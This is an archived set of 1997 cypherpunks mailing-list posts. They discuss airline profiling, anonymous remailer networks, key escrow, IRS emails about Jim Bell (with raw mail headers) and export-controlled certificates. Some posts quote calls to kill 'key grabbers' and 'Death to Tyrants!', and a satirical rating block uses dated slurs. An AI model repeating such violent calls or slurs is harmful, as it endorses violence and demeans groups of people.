"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 20 Jul 1997 01:20:38 +0800
To: cypherpunks@Algebra.COM
Subject: Airlines to start profiling, bag matching -- "Pick Me"
Message-ID: <v03102800aff69d9aabee@[17.128.202.215]>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen forwarded an article from USA Toady (sorry, Freudian
spelling slip) on airline bag matching, including this interesting
statement:

>Airlines are expected to match bags with about 5% of fliers. A
>computerized profiling system will identify those who might pose a
>security risk. Example: passengers
>who buy tickets with cash.

>If someone matches the profile, their bags would not be stowed until
>they actually board the plane.

Hmm, since the last bag on the plane is usually the first one
off the baggage carousel, there is an opportunity for better
service that ought to be exploited. Now, all I need is the cash.

Martin Minow
minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 19 Jul 1997 16:06:14 +0800
To: cypherpunks@cyberpass.net
Subject: Anonymous virtual networks
Message-ID: <199707190801.KAA17825@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



What if people were to create virtual machines (eg Java or whatever) which
were accessible to anyone on the internet, and linked them together in a
virtual network.  CPU-time and bandwidth on the virtual machines could then
be sold (or more likely bartered).

The network would be self-contained, so nobody outside the virtual network
would see it.

So, when one wants to send some anonymous messages, just buy or trade for
some processor time and disk space somewhere, then mail in a remailer
program and it'll run.  When it runs out of cpu-time credits, it just gets
deleted.  (The machine owner would have little reason to keep it around,
since it is more economically profitable to lease the disk space to
someone else rather than try to decrypt old remailer traffic, which would
likely be a futile effort, given enough layers of encryption)

So let's say we agree I'll give you 10 mips-years of cpu and 10 MB disk
space and 100 MB of network traffic on my machine, and you give me the same
on your computer.  I then trade some of the CPU time & disk space on your
machine to Joe, who uses it to set up some remailers.  Joe then sells
remailer services to some newbies.  After their pre-paid remailer cards run
out then Joe's remailer has used up all his CPU-credits on your machine and
the remailer (and the evidence) disappears.  Your computer just deletes the
files and you never know about Joe or his anonymous message service.
Pretty good anonymity. :-)

Of course, in order to prevent certain obvious harassment attacks, the
virtual network would need to remain self-contained, so people would need
their own virtual-network/virtual-computer clients to access their
anonymous mail.  They'd probably even need to sell their cpu-cycles to key
crackers in order to pay for their email service. ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 20 Jul 1997 01:24:52 +0800
To: cypherpunks@Algebra.COM
Subject: Voluntary mandatory PICS ratings on all posts
In-Reply-To: <199707191603.SAA15143@basement.replay.com>
Message-ID: <v03102813aff6a704a803@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:03 AM -0700 7/19/97, Anonymous wrote:
>Dimitri the KOTM has asked how to rate one's Web site as being very "nasty".
>
>
>Add the following META tags between the <HEAD> and </HEAD> tags:
>
><HEAD>
>...
><META NAME="rating" CONTENT="adults only"><META HTTP-EQUIV="PICS-Label"
>CONTENT='(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l r (n 4 s 4 v 4 l 4)
>"http://www.classify.org/safesurf/" l r (SS~~000 9 SS~~001 9 SS~~002 9 SS~~003
...

I've been using the _text_ form, as the Children's Decency and Safety Act
of 1997 requires that _all_ electronic communications potentially viewable
by those affected (children, the mentally disable, homos, Muslims, etc.,
any of whom might be offended) be appropriately rated and labelled with the
voluntary self-rating system (can be found at
http://www.bigbro.gov/ratingsv01.html).

This mandatory voluntary system meets the needs of us all. Ignorance is
freedom, voluntary means mandatory.

I have come to love Big Brother!

--Winston




Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sun, 20 Jul 1997 02:16:55 +0800
To: declan@well.com
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
Message-ID: <3.0.2.32.19970719110331.00a646c0@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.
>
>Is it just me, or does anyone else remember a similar message being pumped
>out about the same time Bell was raided (April 1).

I will check the archives...

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sun, 20 Jul 1997 02:26:20 +0800
To: "Jeremy Mineweaser" <jeremym@r32h211.res.gatech.edu>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <m2yb73di77.fsf@altair.xemacs.org>
Message-ID: <3.0.2.32.19970719110545.00a63370@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:50 AM 7/19/97 -0400, Jeremy Mineweaser wrote:
>
>
>>Alan  <alano@teleport.com> writes:
>>
>>> I recieved this today via e-mail.  I find it strange since I have 
>>> never asked to be put on any sort of "interest list" by anyone
>>> at the IRS.  Did anyone else get this?
>
>I received a copy of this earlier today via a low-traffic mailing list
>devoted to discussion of prisoner's dilemma games.  Upon receiving
>the message, the connection between PDG and Jim Bell wasn't 
>immediately obvious, but then I remembered that Jim Bell was
>also a subscriber to that mailing list.
>
>It's quite probable that the IRS sent a copy of their press release
>to all of the forums where they had records of Bell's involvement.
>
>Did others receive this message directly, or via mailing lists?

Directly.  That address was not subscribed to Cypherpunks at the time. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 20 Jul 1997 04:09:38 +0800
To: Alan <declan@well.com
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.95.970719015013.17780A-100000@cp.pathfinder.com >
Message-ID: <v03102814aff6cf401be5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:03 AM -0700 7/19/97, Alan wrote:
>At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>>Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.
>>
>>Is it just me, or does anyone else remember a similar message being pumped
>>out about the same time Bell was raided (April 1).
>
>I will check the archives...
>

No need to check. Recall that the odd name, "IRS Investigations," was our
first word on the Bell raid.

I didn't comment earlier when Declan asked, as I thought he was making a
rhetorical point.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 20 Jul 1997 04:40:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970719133131.02792@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jul 19, 1997 at 09:35:41AM -0700, Tim May wrote:
> At 8:51 AM -0700 7/19/97, Marshall Clow wrote:
> >At 7:43 AM -0700 7/19/97, Kent Crispin wrote:
> >>On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
> >>[usual rant deleted]
> >>>
> >>> Kill the key grabbers and all those who support them. Isn't it exactly what
> >>> Patrick Henry, Thomas Jefferson, and the others would have argued?
> >>
> >>Amazing.  Patriotism -- the last refuge of the scoundrel.
> >>
> >>However, Patric Henry said something like "Give me liberty or give me
> >>death." That is really very different from "Kill everyone who opposes
> >>me and all their supporters." Tim doesn't seem to understand this
> >>nuance.
> >>
> >I think Tim is thinking of:
> >
> >	"The tree of liberty must be refreshed from time to time,
> >	 with the blood of patriots and tyrants."
> >
> >which, of course, was written by Jefferson.
> 
> I wasn't giving any specific quote--I was referring to the general
> principles.

The general principle Tim espouses is, apparently, "Kill all who 
oppose, and anyone else remotely associated"  -- witness his calls to 
use the "nuclear disinfectant" on Washington, for example.  This is not, 
I believe, what Jefferson had in mind.

However, I consider such a sentiment either insane or not intended
seriously.  Assuming Tim is not insane, then he doesn't intend his
statements to be taken seriously. 

> Apparently Kent Crispin, whom I blissfully killfile, is a
> literalist. Some would say anal-retentive.

I can't resist pointing out what is usually associated with bliss. 
:-) 

I must point out, also, that I agree with Tim that GAK is bad.  
However, I believe that his rants actually do more harm than good to 
the cause.  

> Can there be any doubt what the reaction of the Founders and other patriots
> would be were they to be transported to our modern era and learn that there
> are proposals that all citizen-units are to be required to deliver the keys
> (and hence the contents) for their most private communications to the King?
> Er, I mean, "the Government."

Since they are just proposals, perhaps their reaction would be words
like "I don't agree with what you say, but I will fight to the death
to protect your right to say it." Or they might say something like
"the antidote to bad speech is good speech".  I don't think they would
make a general call to anihilate all opponents of their point of view.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SL Baur <steve@xemacs.org>
Date: Sun, 20 Jul 1997 05:21:23 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.95.970719015013.17780A-100000@cp.pathfinder.com >
Message-ID: <m2oh7y7n9g.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

>> At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>>> Is it just me, or does anyone else remember a similar message being pumped
>>> out about the same time Bell was raided (April 1).

> No need to check. Recall that the odd name, "IRS Investigations," was our
> first word on the Bell raid.

I didn't get a personal copy of the first one, hence my assumption
that the addresses were pulled off of Jim's confiscated equipment.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 20 Jul 1997 02:45:02 +0800
To: cypherpunks@toad.com
Subject: Bean IRS for Another $250,000
Message-ID: <1.5.4.32.19970719182921.006c9cb0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Four of the IRS messages on Jim Bell came here (see below), two via 
cypherpunks@toad.com and two directly. (Oddly, none were forwarded
from cyberpass.net as usual for messages to cypherpunks@toad.com.)

There are four messsage IDs, one of which matches that of Alan Olsen
(Number 2 below at 12:29).

These seem to indicate that the sender was using several lists of
addresses, held 18 hours for vetting by the Treasury mail beagles.

Perhaps others could check their message IDs, inquire around listdom 
in order to assemble a list of targeted lists. Then a stink might be
made for the spam, get that Denver judge to hit "IRS Inspection" for 
another $250,000 to pay recipients for IRS's lack of proper public 
humility, if not for Jim's undue imprisonment, isolation by federal defender, 
coercion of witnesses, distortion of literature, and railroading Jim Bell 
to warn outlaws to not fuck with Sam's Gang and Roy Bean.

Note: Jim's Roy Bean docket shows that USA v. Bell was assigned to
Judge Franklin D. Burgess on July 9, with new case number 97-CR-5270. 
The US Attorney filed "Felony Information" on that date. That's the 
final entry, no listing for the alleged plea bargain. 

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 1 -- Date: Thu, 17 Jul 1997 12:28:11 -0400
                 Message-Id: <199707171628.MAA02724@net.insp.irs.gov>
                 Return-Path: <cypherpunks-errors@toad.com> [via
cypherpunks-unedited]

Return-Path: <cypherpunks-errors@toad.com>
Received: from toad.com (toad.com [140.174.2.1])
	by sieve0.mindspring.com (8.8.5/8.8.5) with ESMTP id SAA04118
	for <jya@pipeline.com>; Fri, 18 Jul 1997 18:50:08 -0400 (EDT)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id PAA00409
for cypherpunks-unedited-outgoing; Fri, 18 Jul 1997 15:47:16 -0700 (PDT)
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by toad.com (8.7.5/8.7.3) with SMTP id PAA00402 for
<cypherpunks@toad.com>; Fri, 18 Jul 1997 15:46:49 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id AA19652
  (InterLock SMTP Gateway 3.0 for cypherpunks@toad.com);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:45:59 -0400
Date: Thu, 17 Jul 1997 12:28:11 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171628.MAA02724@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest
Sender: owner-cypherpunks@toad.com
Precedence: bulk

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 2 -- Date: Thu, 17 Jul 1997 12:29:08 -0400
                 Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
                 Return-Path: <cypherpunks-errors@toad.com> [via
cypherpunks-unedited]

Return-Path: <cypherpunks-errors@toad.com>
Received: from toad.com (toad.com [140.174.2.1])
	by sieve0.mindspring.com (8.8.5/8.8.5) with ESMTP id SAA04851
	for <jya@pipeline.com>; Fri, 18 Jul 1997 18:53:31 -0400 (EDT)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id PAA00487
for cypherpunks-unedited-outgoing; Fri, 18 Jul 1997 15:51:19 -0700 (PDT)
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by toad.com (8.7.5/8.7.3) with SMTP id PAA00468 for
<cypherpunks@toad.com>; Fri, 18 Jul 1997 15:50:59 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id AA19658
  (InterLock SMTP Gateway 3.0 for cypherpunks@toad.com);
  Fri, 18 Jul 1997 18:47:00 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:47:00 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:47:00 -0400
Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest
Sender: owner-cypherpunks@toad.com
Precedence: bulk

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 3 -- Date: Thu, 17 Jul 1997 12:31:08 -0400
                 Message-Id: <199707171631.MAA02749@net.insp.irs.gov>
                 Return-Path: <irsnwpr@net.insp.irs.gov> [direct to
jya@pipeline.com]

Return-Path: <irsnwpr@net.insp.irs.gov>
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by sieve0.mindspring.com (8.8.5/8.8.5) with SMTP id SAA04273
	for <jya@pipeline.com>; Fri, 18 Jul 1997 18:50:56 -0400 (EDT)
Received: by tcs_gateway1.treas.gov id AA19680
  (InterLock SMTP Gateway 3.0 for jya@pipeline.com);
  Fri, 18 Jul 1997 18:49:06 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:49:06 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:49:06 -0400
Date: Thu, 17 Jul 1997 12:31:08 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171631.MAA02749@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 4 -- Date: Thu, 17 Jul 1997 12:33:43 -0400
                 Message-Id: <199707171633.MAA02778@net.insp.irs.gov>
                 Return-Path: <irsnwpr@net.insp.irs.gov> [direct to
jya@pipeline.com]

Return-Path: <irsnwpr@net.insp.irs.gov>
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by sieve0.mindspring.com (8.8.5/8.8.5) with SMTP id SAA04536
	for <jya@pipeline.com>; Fri, 18 Jul 1997 18:52:04 -0400 (EDT)
Received: by tcs_gateway1.treas.gov id AA19746
  (InterLock SMTP Gateway 3.0 for jya@pipeline.com);
  Fri, 18 Jul 1997 18:51:36 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:51:36 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:51:36 -0400
Date: Thu, 17 Jul 1997 12:33:43 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171633.MAA02778@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest

----------------------------------------------------------------------------
------------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 20 Jul 1997 05:47:30 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: What is Truth?
In-Reply-To: <v03102802aff4087cae4c@[207.167.93.63]>
Message-ID: <v03102806aff43ad5c8d8@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>And can you name ANY part of society that Government has been willing to
>"leave alone"?  It does not matter what portion of society it is...  If it
>is a "hot button issue", government feels compelled to get involved.  It is
>part of the control freak nature of government.  Have you ever known a
>government agency to "mind its own business"?  You are refering to a
>philosophy not followed by the US government.

The only recent example I can think of is the FCC's decision, led by
Commissioners Ness and Wong, refusing to regulate TV content.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sun, 20 Jul 1997 02:57:21 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719110545.00a63370@ctrl-alt-del.com>
Message-ID: <199707191852.OAA12914@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain




I do not know if the copy I received of this information was sent
directly to me or if I got it through the Cypherpunks list.  Was there
one copy that was sent directly to the list?  I have received lots of
copies after the first one that I know were forwarded.

I think that we should recognize that---if the message is not a
forgery---it comes from some people who are a long ways away from the
extremes of either intelligence or stupidity.  So I wonder:  would we
be quite so bothered if it had been labeled ``Press Release''?


--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sun, 20 Jul 1997 03:27:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719040748.006e9174@pop.mhv.net>
Message-ID: <3.0.2.32.19970719151506.006eab38@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Reason for my asking is my questioning the veracity of the contents of the
email.  The mail specifically stated: "in previous court hearings [plural],
IRS Inspectors testified.."

Could've been a bail hearing although they are usually decided on motion
papers.  Additionally, there are no hearings for the request of a
search/arrest warrant - primarily because the request is ex parte.  Probable
cause is decided on annexed affidavits.

I'm also surprised that that JB's plea did not hit the local newspapers given
the initial coverage.  There's usually a follow-up report of the entry of a
guilty plea.

If JB did plea guilty, the next docket entry should reflect "for sentencing"
or words to that effect.


At 08:06 AM 7/19/97 -0400, Declan wrote:
>
>Perhaps when the government was arguing before the Fed. magistrate that
>Bell should be held without bail? Or, more likely, when the IRS was trying
>to get the search then arrest warrant...
>
>On Sat, 19 Jul 1997, Lynne L. Harrison wrote:
>
>> Anybody know what hearings this is referring to - and when they took
place? 
>> If memory serves me correctly, I seem to recall that Bell had waived
speedy
>> trial rights in lieu of negotiations.  Hence, it seems strange that
pre-trial
>> hearings occurred.



-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM9ESFT5A4+Z4Wnt9AQFRBgP8CU67wG0HvbfvgW8UEZ+sO30cHR97LXvJ
oMBzich2TsZNoEHW4dmM9SGEUILTyFAbxAnYTHE9+8zMELEyDQCdenHp7YOwjHYu
W+awBBjlqqYqyejsmyIGxHxw/ps3dBzlkDSK3f0KhoCQn3Pg+SAdbvVxRoKQSAbI
SURqhVjh7og=
=24Pv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 20 Jul 1997 06:27:25 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: hand-held computers Re: Electronic commerce has long way    to go
In-Reply-To: <v03102803aff174e7e285@[10.0.2.15]>
Message-ID: <v03102807aff6edb6e31d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>At 11:54 AM 7/15/97 -0700, Steve Schear wrote:
>>For those outside of Metricom's coverage areas, NovaTel Wireless
>>http://www.novatelwireless.com is introducing a CDPD modem specifically
>>designed for the Pilot.  Their Minstrel modem offers TCP/IP data rates up
>>to 19.2 kbps over analog cellular.  Coverage in most US metropolitan areas
>
>On the other hand, CDPD is relatively expensive; Metricom charges flat rate,
>while CDPD is generally some pennies per KB, which may be more or less
>expensive than circuit-switched modem connections over cellular voice
>depending on your usage patterns.  But it's widely available.

Clearly CDPD is too expensive for Web surfing and large amounts of email
traffic.  As an electronic purse for ecash commerce (esp. funds transfer)
it just might be practical

--Steve


PGP mail preferred, see  http://web.mit.edu/network/pgp.html
RSA Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
ECache Monger             | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 20 Jul 1997 06:31:40 +0800
To: amp@pobox.com
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <v03102808aff6ef6f4a9d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:02 PM -0700 7/18/97, Tom Weinstein wrote:
>amp@pobox.com wrote:
>>
>>> There's nothing preventing another CA from getting permission from
>>> the USG to issue these magic certs.  We would have to distribute a
>>> patch, but I don't see any problem with that.
>>
>> uh, why does one need permission of the usg to issue "magic certs"?
>
>Because issuing these certs is defined as a "defense service".

Precisely why there needs to be some hacks, from offshore CP, to enable
anyone to issue "magic certs".  Any volunteers?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sun, 20 Jul 1997 03:47:04 +0800
To: Joe Shea <joeshea@netcom.com>
Subject: Re: Keepers of the keys
In-Reply-To: <v0310280caff5e51517f8@[207.167.93.63]>
Message-ID: <3.0.3.32.19970719152832.00be2420@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:15 PM 7/18/97 -0700, Joe Shea wrote:
>Judges -- people like the Ninth Circuit Court of Appeals -- 
>would look rather askance at requests for someone's key when it was no
>more aggravating an issue than a piece of flame mail.  On the other hand, 
>if someone's going to blow up San Francisco this week, it sure would help
>to have a key to any encrypted communications he was generating.

The gov't doesn't give any KE agent, judge or otherwise, permission to see the 
actual decrypted traffic to make sure it matches the excuse given on the 
request for access.  The gov't can always come back and say, "Well, he didn't 
say anything useful so we didn't record anything -- thanks for the key anyway."

If the gov't had to get content itself from a judge -- or, better, from the 
NYTimes, Wash Post, ACLU, etc. -- then maybe we'd be closer to a politically 
workable answer.  That is, it would be valueless as a covert intelligence tool.

 - Carl

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9EVYFQXJENzYr45AQFPrwQAlss0rHedSDH243QOsZdt0vNMAdVuD52b
aYZTXlBM9or33z9Ri35wSBAy8iGdVnX6lgloUUMzO7EsHrw5ytMFyNM/Lj1mnLkp
GYBBmdZYcgO1uJMOdk2GlqJ7FNVPEgPFdlxiphMFBlDYjdH1MVoTCg2s1FwhIJbs
LRBSZaRODxM=
=i9dR
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|    PGP: 61 E2 DE 7F CB 9D 79 84   E9 C8 04 8B A6 32 21 A2        |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 20 Jul 1997 06:59:50 +0800
To: Nick West <cypherpunks@toad.com
Subject: Re: Cypherpunk U
In-Reply-To: <3.0.1.32.19970719161747.006b49e8@mail.multipro.com>
Message-ID: <v03102815aff6f510fe24@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:17 PM -0700 7/19/97, Nick West wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>What are some of the better colleges/universities to study
>Computer/Network security at? I know MIT is a good one. Any others
>that aren't quite so hard to get in to that still offer quality
>programs?

Do you mean for grad school, or for undergrad work?

If the former, look for where the papers that interest you are coming from.
That is, whom do you want to work with? UC Berkeley is obviously doing
interesting work, Purude has some well known folks, and Carnegie-Mellon is
in the home city of CERT (maybe not a recommendation...). And Stanford is
always a hotbed. At least a dozen other places are doing fine work.

If for undergrad work, you of course won't have any exposure to speak of in
these areas, save for one or two courses. Maybe.

Ask Sameer Parekh why he picked Berkeley over MIT for his undergraduate
experience (apparently now on hiatus as he runs his company).

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 20 Jul 1997 04:29:38 +0800
To: cypherpunks@toad.com
Subject: Re: Something of Interest
Message-ID: <1.5.4.32.19970719201617.006eb400@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



JM provided IRS Inpsector message Number 5, which is earlier
than the four I posted a while ago:

   Return-Path: <owner-pdg@ifi.uio.no>
   Date: Thu, 17 Jul 1997 12:25:26 -0400
   From: IRS Inspection <irsnwpr@net.insp.irs.gov>
   Message-Id: <199707171625.MAA02707@net.insp.irs.gov>

Starting with these 5 we'll put the full message headers we get at:

   http://jya.com/irs-header.txt

And post here the brief version.

JM also provided Treasury's mail echangers:

>Checking DNS for MX records for net.insp.irs.gov
>indicate (as shown below) three mail exchangers:
>
>QUESTIONS:
>  net.insp.irs.gov, type = MX, class = IN
>
>ANSWERS:
>
>  ->  net.insp.irs.gov
>    MX preference = 20, mail exchanger = tcs-gateway1.treas.gov
>    ttl = 86400 (1 day)
>
>  ->  net.insp.irs.gov
>    MX preference = 30, mail exchanger = gotcha.treas.gov
>    ttl = 86400 (1 day)
>
>  ->  net.insp.irs.gov
>    MX preference = 10, mail exchanger = tcs-gateway2.treas.gov
>    ttl = 86400 (1 day)






